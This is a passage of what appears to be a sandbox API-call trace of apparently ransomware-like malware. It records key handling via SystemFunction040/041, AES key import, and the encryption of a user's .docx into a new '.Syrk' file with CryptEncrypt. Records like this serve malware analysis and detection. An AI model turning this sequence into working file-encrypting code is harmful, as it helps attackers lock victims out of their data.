(param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0232.005] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0232.005] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0232.005] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.006] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0232.006] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0232.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0232.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0232.006] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0232.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0232.007] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0232.007] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0232.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0232.007] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.007] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0232.007] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0232.007] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0232.007] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0232.008] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0232.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0232.008] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0232.008] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0232.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0232.008] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.008] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0232.008] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0232.008] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0232.009] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0232.009] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0232.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0232.009] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0232.009] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0232.009] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0232.009] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.009] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0232.009] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0232.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0232.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0232.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0232.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0232.010] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.010] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0232.010] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0232.010] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0232.011] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0232.011] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0232.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0232.011] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.011] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0232.011] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0232.011] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0232.011] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0232.012] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0232.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0232.012] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0232.012] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0232.012] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0232.012] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.012] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0232.012] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0232.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0232.014] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.014] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0232.014] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0232.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0232.014] SystemFunction041 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.014] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0232.014] SystemFunction040 (in: Memory=0x5c9aa3c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9aa3c) returned 0x0 [0232.014] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0232.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0232.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0232.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0232.015] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.015] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0232.015] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0232.015] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0232.015] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.016] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0232.016] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0232.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0232.016] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.016] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0232.016] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0232.016] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0232.016] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.016] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0232.016] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.016] EtwEventActivityIdControl () returned 0x0 [0232.017] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0232.017] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.017] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0232.017] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0232.019] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0232.021] CryptImportKey (in: hProv=0x5c4d320, pbData=0x23cd580*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995e0) returned 1 [0232.021] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.021] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.021] EtwEventActivityIdControl () returned 0x0 [0232.021] EtwEventActivityIdControl () returned 0x0 [0232.022] EtwEventActivityIdControl () returned 0x0 [0232.027] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0232.028] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx")) returned 0x20 [0232.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.029] EtwEventActivityIdControl () returned 0x0 [0232.029] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.029] EtwEventActivityIdControl () returned 0x0 [0232.029] EtwEventActivityIdControl () returned 0x0 [0232.029] EtwEventActivityIdControl () returned 0x0 [0232.030] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0232.030] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx", lpFilePart=0x0) returned 0x36 [0232.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0232.031] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0232.031] GetFileType (hFile=0x454) returned 0x1 [0232.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0232.031] GetFileType (hFile=0x454) returned 0x1 [0232.031] EtwEventActivityIdControl () returned 0x0 [0232.032] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.032] EtwEventActivityIdControl () returned 0x0 [0232.032] EtwEventActivityIdControl () returned 0x0 [0232.032] EtwEventActivityIdControl () returned 0x0 [0232.033] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0232.033] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk", nBufferLength=0x3c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk", lpFilePart=0x0) returned 0x3b [0232.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0232.033] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\tcbu3AshPzFcR2r8Ck o.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\tcbu3ashpzfcr2r8ck o.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0232.034] GetFileType (hFile=0x458) returned 0x1 [0232.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0232.034] GetFileType (hFile=0x458) returned 0x1 [0232.035] EtwEventActivityIdControl () returned 0x0 [0232.035] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x23de24c | out: pbBuffer=0x23de24c) returned 1 [0232.036] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.036] CryptDuplicateKey (in: hKey=0x5c995e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99920) returned 1 [0232.036] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0232.036] CryptSetKeyParam (hKey=0x5c99920, dwParam=0x4, pbData=0x23df578*=0x1, dwFlags=0x0) returned 1 [0232.036] CryptSetKeyParam (hKey=0x5c99920, dwParam=0x1, pbData=0x23df544, dwFlags=0x0) returned 1 [0232.036] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0232.037] EtwEventActivityIdControl () returned 0x0 [0232.037] EtwEventActivityIdControl () returned 0x0 [0232.037] EtwEventActivityIdControl () returned 0x0 [0232.038] EtwEventActivityIdControl () returned 0x0 [0232.038] ReadFile (in: hFile=0x454, lpBuffer=0x23e21c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23e21c0*, lpNumberOfBytesRead=0x5a2e7d8*=0xe51c, lpOverlapped=0x0) returned 1 [0232.040] CryptEncrypt (in: hKey=0x5c99920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f61d8*, pdwDataLen=0x5a2e7cc*=0xe510, dwBufLen=0xe510 | out: pbData=0x23f61d8*, pdwDataLen=0x5a2e7cc*=0xe510) returned 1 [0232.040] WriteFile (in: hFile=0x458, lpBuffer=0x23de328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23de328*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0232.042] WriteFile (in: hFile=0x458, lpBuffer=0x23f71c4*, nNumberOfBytesToWrite=0xd524, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23f71c4*, lpNumberOfBytesWritten=0x5a2e7b0*=0xd524, lpOverlapped=0x0) returned 1 [0232.043] ReadFile (in: hFile=0x454, lpBuffer=0x23e21c0, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23e21c0*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0232.043] CryptEncrypt (in: hKey=0x5c99920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24046f4*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24046f4*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0232.043] CryptEncrypt (in: hKey=0x5c99920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2404710*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2404710*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0232.043] WriteFile (in: hFile=0x458, lpBuffer=0x23de328*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x23de328*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0232.043] CloseHandle (hObject=0x458) returned 1 [0232.045] CloseHandle (hObject=0x454) returned 1 [0232.045] GetEnvironmentVariableW (in: 